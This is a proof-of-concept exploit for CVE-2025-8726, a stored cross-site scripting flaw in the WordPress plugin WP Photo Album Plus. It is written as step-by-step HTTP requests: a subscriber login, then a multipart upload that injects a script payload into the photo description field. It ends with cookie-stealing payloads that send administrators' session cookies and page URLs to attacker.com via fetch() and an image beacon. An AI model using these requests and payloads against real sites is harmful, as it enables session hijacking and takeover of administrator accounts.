CVE-2025-8726

<!-- PoC for CVE-2025-8726: WP Photo Album Plus Stored XSS Vulnerable function: wppa_user_upload Affected versions: <= 9.0.11.006 Required privilege: Subscriber or above --> <!-- Step 1: Login as Subscriber-level user --> POST /wp-login.php HTTP/1.1 Host: target-wordpress-site.com Content-Type: application/x-www-form-urlencoded log=attacker_user&pwd=attacker_pass&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1 <!-- Step 2: Upload a photo with malicious album description containing XSS payload --> <!-- The malicious payload is injected into the photo album description field --> POST /wp-admin/admin.php?page=wppa_upload HTTP/1.1 Host: target-wordpress-site.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary Cookie: wordpress_logged_in_xxx=xxx ------WebKitFormBoundary Content-Disposition: form-data; name="wppa-photo-desc" <img src=x onerror=alert(document.cookie)> ------WebKitFormBoundary Content-Disposition: form-data; name="wppa-album-id" 1 ------WebKitFormBoundary Content-Disposition: form-data; name="wppa-photo-file"; filename="test.jpg" Content-Type: image/jpeg [binary image data] ------WebKitFormBoundary-- <!-- Step 3: When any user (especially admin) views the photo album page, --> <!-- the injected JavaScript executes in their browser context --> GET /wp-admin/admin.php?page=wppa-admin&tab=edit&photo-id=XXX HTTP/1.1 Host: target-wordpress-site.com <!-- More sophisticated payload for stealing admin cookies/sessions --> <script> fetch('https://attacker.com/steal?cookie='+document.cookie+'&url='+document.location.href); </script> <!-- Or using img onerror event handler --> <img src=x onerror="var i=new Image();i.src='https://attacker.com/x?c='+document.cookie;">

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